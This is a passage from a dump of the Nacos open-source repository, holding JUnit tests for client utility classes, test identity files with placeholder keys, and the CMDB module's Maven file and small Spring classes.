    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env.convert;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.MissingFormatArgumentException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass CompositeConverterTest {\n    \n    CompositeConverter compositeConverter;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        compositeConverter = new CompositeConverter();\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    }\n    \n    @Test\n    void testConvertNotSupportType() {\n        assertThrows(MissingFormatArgumentException.class, () -> {\n            compositeConverter.convert(\"test\", CompositeConverter.class);\n        });\n    }\n    \n    @Test\n    void testConvertBooleanForEmptyProperty() {\n        assertNull(compositeConverter.convert(null, Boolean.class));\n    }\n    \n    @Test\n    void testConvertBooleanTrue() {\n        assertTrue(compositeConverter.convert(\"true\", Boolean.class));\n        assertTrue(compositeConverter.convert(\"on\", Boolean.class));\n        assertTrue(compositeConverter.convert(\"yes\", Boolean.class));\n        assertTrue(compositeConverter.convert(\"1\", Boolean.class));\n    }\n    \n    @Test\n    void testConvertBooleanFalse() {\n        assertFalse(compositeConverter.convert(\"false\", Boolean.class));\n        assertFalse(compositeConverter.convert(\"off\", Boolean.class));\n        assertFalse(compositeConverter.convert(\"no\", Boolean.class));\n        assertFalse(compositeConverter.convert(\"0\", Boolean.class));\n    }\n    \n    @Test\n    void testConvertBooleanIllegal() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            compositeConverter.convert(\"aaa\", Boolean.class);\n        });\n    }\n    \n    @Test\n    void testConvertIntegerForEmptyProperty() {\n        assertNull(compositeConverter.convert(null, Integer.class));\n    }\n    \n    @Test\n    void testConvertInteger() {\n        assertEquals(100, (int) compositeConverter.convert(\"100\", Integer.class));\n        assertEquals(Integer.MAX_VALUE,\n                (int) compositeConverter.convert(String.valueOf(Integer.MAX_VALUE), Integer.class));\n        assertEquals(Integer.MIN_VALUE,\n                (int) compositeConverter.convert(String.valueOf(Integer.MIN_VALUE), Integer.class));\n    }\n    \n    @Test\n    void testConvertIntegerIllegal() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            compositeConverter.convert(\"aaa\", Integer.class);\n        });\n    }\n    \n    @Test\n    void testConvertLongForEmptyProperty() {\n        assertNull(compositeConverter.convert(null, Long.class));\n    }\n    \n    @Test\n    void testConvertLong() {\n        assertEquals(100L, (long) compositeConverter.convert(\"100\", Long.class));\n        assertEquals(Long.MAX_VALUE, (long) compositeConverter.convert(String.valueOf(Long.MAX_VALUE), Long.class));\n        assertEquals(Long.MIN_VALUE, (long) compositeConverter.convert(String.valueOf(Long.MIN_VALUE), Long.class));\n    }\n    \n    @Test\n    void testConvertLongIllegal() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            compositeConverter.convert(\"aaa\", Long.class);\n        });\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/utils/AppNameUtilsTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.client.constant.Constants;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AppNameUtilsTest {\n    \n    @BeforeEach\n    void setUp() throws Exception {\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        System.clearProperty(Constants.SysEnv.PROJECT_NAME);\n        System.clearProperty(\"jboss.server.home.dir\");\n        System.clearProperty(\"jetty.home\");\n        System.clearProperty(\"catalina.base\");\n    }\n    \n    @Test\n    void testGetAppNameByDefault() {\n        String appName = AppNameUtils.getAppName();\n        assertEquals(\"unknown\", appName);\n    }\n    \n    @Test\n    void testGetAppNameByProjectName() {\n        System.setProperty(Constants.SysEnv.PROJECT_NAME, \"testAppName\");\n        String appName = AppNameUtils.getAppName();\n        assertEquals(\"testAppName\", appName);\n    }\n    \n    @Test\n    void testGetAppNameByServerTypeForJboss() {\n        System.setProperty(\"jboss.server.home.dir\", \"/home/admin/testAppName/\");\n        String appName = AppNameUtils.getAppName();\n        assertEquals(\"testAppName\", appName);\n    }\n    \n    @Test\n    void testGetAppNameByServerTypeForJetty() {\n        System.setProperty(\"jetty.home\", \"/home/admin/testAppName/\");\n        String appName = AppNameUtils.getAppName();\n        assertEquals(\"testAppName\", appName);\n    }\n    \n    @Test\n    void testGetAppNameByServerTypeForTomcat() {\n        System.setProperty(\"catalina.base\", \"/home/admin/testAppName/\");\n        String appName = AppNameUtils.getAppName();\n        assertEquals(\"testAppName\", appName);\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/utils/ClientBasicParamUtilTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.env.SourceType;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientBasicParamUtilTest {\n    \n    private String defaultAppKey;\n    \n    private String defaultContextPath;\n    \n    private String defaultVersion;\n    \n    private String defaultNodesPath;\n    \n    @BeforeEach\n    void before() {\n        defaultAppKey = \"\";\n        defaultContextPath = \"nacos\";\n        defaultVersion = VersionUtils.version;\n        defaultNodesPath = \"serverlist\";\n    }\n    \n    @AfterEach\n    void after() {\n        ClientBasicParamUtil.setAppKey(defaultAppKey);\n        ClientBasicParamUtil.setDefaultContextPath(defaultContextPath);\n        ClientBasicParamUtil.setClientVersion(defaultVersion);\n        ClientBasicParamUtil.setDefaultNodesPath(defaultNodesPath);\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL);\n    }\n    \n    @Test\n    void testGetAppKey() {\n        String defaultVal = ClientBasicParamUtil.getAppKey();\n        assertEquals(defaultAppKey, defaultVal);\n        \n        String expect = \"test\";\n        ClientBasicParamUtil.setAppKey(expect);\n        assertEquals(expect, ClientBasicParamUtil.getAppKey());\n    }\n    \n    @Test\n    void testGetDefaultContextPath() {\n        String defaultVal = ClientBasicParamUtil.getDefaultContextPath();\n        assertEquals(defaultContextPath, defaultVal);\n        \n        String expect = \"test\";\n        ClientBasicParamUtil.setDefaultContextPath(expect);\n        assertEquals(expect, ClientBasicParamUtil.getDefaultContextPath());\n    }\n    \n    @Test\n    void testGetClientVersion() {\n        String defaultVal = ClientBasicParamUtil.getClientVersion();\n        assertEquals(defaultVersion, defaultVal);\n        \n        String expect = \"test\";\n        ClientBasicParamUtil.setClientVersion(expect);\n        assertEquals(expect, ClientBasicParamUtil.getClientVersion());\n    }\n    \n    @Test\n    void testGetDefaultServerPort() {\n        String actual = ClientBasicParamUtil.getDefaultServerPort();\n        assertEquals(\"8848\", actual);\n    }\n    \n    @Test\n    void testGetDefaultNodesPath() {\n        String defaultVal = ClientBasicParamUtil.getDefaultNodesPath();\n        assertEquals(\"serverlist\", defaultVal);\n        \n        String expect = \"test\";\n        ClientBasicParamUtil.setDefaultNodesPath(expect);\n        assertEquals(expect, ClientBasicParamUtil.getDefaultNodesPath());\n    }\n    \n    @Test\n    void testParseNamespace() {\n        String expect = \"test\";\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.NAMESPACE, expect);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        String actual = ClientBasicParamUtil.parseNamespace(nacosClientProperties);\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testParsingEndpointRule() {\n        String url = \"${test:www.example.com}\";\n        String actual = ClientBasicParamUtil.parsingEndpointRule(url);\n        assertEquals(\"www.example.com\", actual);\n    }\n    \n    @Test\n    void testParsingEndpointRuleFromSystem() {\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL, \"alibaba_aliware_endpoint_url\");\n        assertEquals(\"alibaba_aliware_endpoint_url\", ClientBasicParamUtil.parsingEndpointRule(null));\n    }\n    \n    @Test\n    void testParsingEndpointRuleFromSystemWithParam() {\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL, \"alibaba_aliware_endpoint_url\");\n        assertEquals(\"alibaba_aliware_endpoint_url\", ClientBasicParamUtil.parsingEndpointRule(\"${abc:xxx}\"));\n    }\n    \n    @Test\n    void testGetInputParametersWithFullMode() {\n        Properties properties = new Properties();\n        properties.setProperty(\"testKey\", \"testValue\");\n        properties.setProperty(PropertyKeyConst.LOG_ALL_PROPERTIES, \"true\");\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        String actual = ClientBasicParamUtil.getInputParameters(clientProperties.asProperties());\n        assertTrue(actual.startsWith(\n                \"Log nacos client init properties with Full mode, This mode is only used for debugging and troubleshooting.\"));\n        assertTrue(actual.contains(\"\\ttestKey=testValue\\n\"));\n        Properties envProperties = clientProperties.getProperties(SourceType.ENV);\n        String envCaseKey = envProperties.stringPropertyNames().iterator().next();\n        String envCaseValue = envProperties.getProperty(envCaseKey);\n        assertTrue(actual.contains(String.format(\"\\t%s=%s\\n\", envCaseKey, envCaseValue)));\n    }\n    \n    @Test\n    void testGetInputParameters() {\n        Properties properties = new Properties();\n        properties.setProperty(\"testKey\", \"testValue\");\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, \"localhost:8848\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"testPassword\");\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        String actual = ClientBasicParamUtil.getInputParameters(clientProperties.asProperties());\n        assertEquals(\"Nacos client key init properties: \\n\\tserverAddr=localhost:8848\\n\\tpassword=te********rd\\n\",\n                actual);\n    }\n    \n    @Test\n    void testDesensitiseParameter() {\n        String shortParameter = \"aa\";\n        assertEquals(shortParameter, ClientBasicParamUtil.desensitiseParameter(shortParameter));\n        String middleParameter = \"aaa\";\n        assertEquals(\"a*a\", ClientBasicParamUtil.desensitiseParameter(middleParameter));\n        middleParameter = \"aaaaaaa\";\n        assertEquals(\"a*****a\", ClientBasicParamUtil.desensitiseParameter(middleParameter));\n        String longParameter = \"testPass\";\n        assertEquals(\"te****ss\", ClientBasicParamUtil.desensitiseParameter(longParameter));\n    }\n    \n    @Test\n    void testGetNameSuffixByServerIps() {\n        assertEquals(\"1.1.1.1-2.2.2.2_8848\",\n                ClientBasicParamUtil.getNameSuffixByServerIps(\"http://1.1.1.1\", \"2.2.2.2:8848\"));\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/utils/ContextPathUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * ContextPathUtil test.\n *\n * @author Wei.Wang\n * @date 2020/11/26 3:13 PM\n */\nclass ContextPathUtilTest {\n    \n    @Test\n    void testNormalizeContextPath() {\n        assertEquals(\"/nacos\", ContextPathUtil.normalizeContextPath(\"/nacos\"));\n        assertEquals(\"/nacos\", ContextPathUtil.normalizeContextPath(\"nacos\"));\n        assertEquals(\"\", ContextPathUtil.normalizeContextPath(\"/\"));\n        assertEquals(\"\", ContextPathUtil.normalizeContextPath(\"\"));\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/utils/TemplateUtilsTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\n\nimport java.util.concurrent.Callable;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass TemplateUtilsTest {\n    \n    @Test\n    void testStringNotEmptyAndThenExecuteSuccess() {\n        String word = \"run\";\n        Runnable task = Mockito.mock(Runnable.class);\n        TemplateUtils.stringNotEmptyAndThenExecute(word, task);\n        Mockito.verify(task, Mockito.times(1)).run();\n    }\n    \n    @Test\n    void testStringNotEmptyAndThenExecuteFail() {\n        String word = \"\";\n        Runnable task = Mockito.mock(Runnable.class);\n        TemplateUtils.stringNotEmptyAndThenExecute(word, task);\n        Mockito.verify(task, Mockito.times(0)).run();\n    }\n    \n    @Test\n    void testStringNotEmptyAndThenExecuteException() {\n        String word = \"run\";\n        Runnable task = Mockito.mock(Runnable.class);\n        doThrow(new RuntimeException(\"test\")).when(task).run();\n        TemplateUtils.stringNotEmptyAndThenExecute(word, task);\n        Mockito.verify(task, Mockito.times(1)).run();\n        // NO exception thrown\n    }\n    \n    @Test\n    void testStringEmptyAndThenExecuteSuccess() {\n        String word = \"   \";\n        String actual = TemplateUtils.stringEmptyAndThenExecute(word, () -> \"call\");\n        assertEquals(\"\", actual);\n    }\n    \n    @Test\n    void testStringEmptyAndThenExecuteFail() {\n        String word = \"\";\n        final String expect = \"call\";\n        String actual = TemplateUtils.stringEmptyAndThenExecute(word, () -> expect);\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testStringEmptyAndThenExecuteException() throws Exception {\n        Callable callable = mock(Callable.class);\n        when(callable.call()).thenThrow(new RuntimeException(\"test\"));\n        String actual = TemplateUtils.stringEmptyAndThenExecute(null, callable);\n        assertNull(actual);\n    }\n    \n    @Test\n    void testStringBlankAndThenExecuteSuccess() {\n        String word = \"success\";\n        String actual = TemplateUtils.stringBlankAndThenExecute(word, () -> \"call\");\n        assertEquals(word, actual);\n    }\n    \n    @Test\n    void testStringBlankAndThenExecuteFail() {\n        String word = \"   \";\n        final String expect = \"call\";\n        String actual = TemplateUtils.stringBlankAndThenExecute(word, () -> expect);\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testStringBlankAndThenExecuteException() throws Exception {\n        Callable callable = mock(Callable.class);\n        when(callable.call()).thenThrow(new RuntimeException(\"test\"));\n        String actual = TemplateUtils.stringBlankAndThenExecute(null, callable);\n        assertNull(actual);\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/utils/TenantUtilTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass TenantUtilTest {\n    \n    @AfterEach\n    void tearDown() {\n        System.clearProperty(\"acm.namespace\");\n        System.clearProperty(\"ans.namespace\");\n    }\n    \n    @Test\n    void testGetUserTenantForAcm() {\n        String expect = \"test\";\n        System.setProperty(\"acm.namespace\", expect);\n        String actual = TenantUtil.getUserTenantForAcm();\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testGetUserTenantForAns() {\n        String expect = \"test\";\n        System.setProperty(\"ans.namespace\", expect);\n        String actual = TenantUtil.getUserTenantForAns();\n        assertEquals(expect, actual);\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/test/resources/META-INF/services/com.alibaba.nacos.client.address.ServerListProvider",
    "content": "#\n#  Copyright 1999-2024 Alibaba Group Holding Ltd.\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#\n#\n\ncom.alibaba.nacos.client.address.mock.MockServerListProvider\n"
  },
  {
    "path": "client-basic/src/test/resources/spas.identity",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\naccessKey=testAk\nsecretKey=testSk\ntenantId=testTenantId"
  },
  {
    "path": "client-basic/src/test/resources/spas_docker.identity",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nenv_spas_accessKey=testAk\nenv_spas_secretKey=testSk\nebv_spas_tenantId=testTenantId"
  },
  {
    "path": "client-basic/src/test/resources/spas_invalid.identity",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\naccessKey=\nsecretKey=testSk\ntenantId=testTenantId"
  },
  {
    "path": "client-basic/src/test/resources/spas_modified.identity",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n"
  },
  {
    "path": "cmdb/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    \n    <parent>\n        <artifactId>nacos-all</artifactId>\n        <groupId>com.alibaba.nacos</groupId>\n        <version>${revision}</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    \n    <artifactId>nacos-cmdb</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-cmdb ${project.version}</name>\n    <url>https://nacos.io</url>\n    \n    <dependencies>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-core</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-api</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n    </dependencies>\n    \n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <configuration>\n                    <skipTests>true</skipTests>\n                    <argLine>-Dnacos.standalone=true</argLine>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-assembly-plugin</artifactId>\n                <configuration>\n                    <archive>\n                        <manifest>\n                            <mainClass>com.alibaba.nacos.cmdb.CmdbApp</mainClass>\n                        </manifest>\n                    </archive>\n                    <descriptorRefs>\n                        <descriptorRef>jar-with-dependencies</descriptorRef>\n                    </descriptorRefs>\n                </configuration>\n            </plugin>\n        </plugins>\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n                <excludes>\n                    <exclude>application.properties</exclude>\n                </excludes>\n            </resource>\n        </resources>\n    </build>\n</project>\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/CmdbApp.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * CMDB starter.\n *\n * @author nkorange\n * @since 0.7.0\n */\n@SpringBootApplication\npublic class CmdbApp {\n    \n    public static void main(String[] args) {\n        SpringApplication.run(CmdbApp.class, args);\n    }\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/controllers/OperationController.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.controllers;\n\nimport com.alibaba.nacos.cmdb.memory.CmdbProvider;\nimport com.alibaba.nacos.cmdb.utils.UtilsAndCommons;\nimport com.alibaba.nacos.core.utils.WebUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Operation controller.\n *\n * @author nkorange\n * @since 0.7.0\n */\n@RestController\n@RequestMapping(UtilsAndCommons.NACOS_CMDB_CONTEXT + \"/ops\")\npublic class OperationController {\n    \n    @Autowired\n    private CmdbProvider cmdbProvider;\n    \n    /**\n     * query label.\n     *\n     * @param request http request\n     * @return query result\n     * @throws Exception exception\n     */\n    @RequestMapping(value = \"/label\", method = RequestMethod.GET)\n    public String queryLabel(HttpServletRequest request) throws Exception {\n        String entry = WebUtils.required(request, \"entry\");\n        String label = WebUtils.required(request, \"label\");\n        return cmdbProvider.queryLabel(entry, \"ip\", label);\n    }\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/core/SwitchAndOptions.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.core;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\n\n/**\n * Switch and options.\n *\n * @author nkorange\n * @since 0.7.0\n */\n@Component\npublic class SwitchAndOptions {\n    \n    @Value(\"${nacos.cmdb.dumpTaskInterval:3600}\")\n    private int dumpTaskInterval;\n    \n    @Value(\"${nacos.cmdb.eventTaskInterval:10}\")\n    private int eventTaskInterval;\n    \n    @Value(\"${nacos.cmdb.labelTaskInterval:300}\")\n    private int labelTaskInterval;\n    \n    @Value(\"${nacos.cmdb.loadDataAtStart:false}\")\n    private boolean loadDataAtStart;\n    \n    public int getDumpTaskInterval() {\n        return dumpTaskInterval;\n    }\n    \n    public int getEventTaskInterval() {\n        return eventTaskInterval;\n    }\n    \n    public int getLabelTaskInterval() {\n        return labelTaskInterval;\n    }\n    \n    public boolean isLoadDataAtStart() {\n        return loadDataAtStart;\n    }\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/memory/CmdbProvider.java",
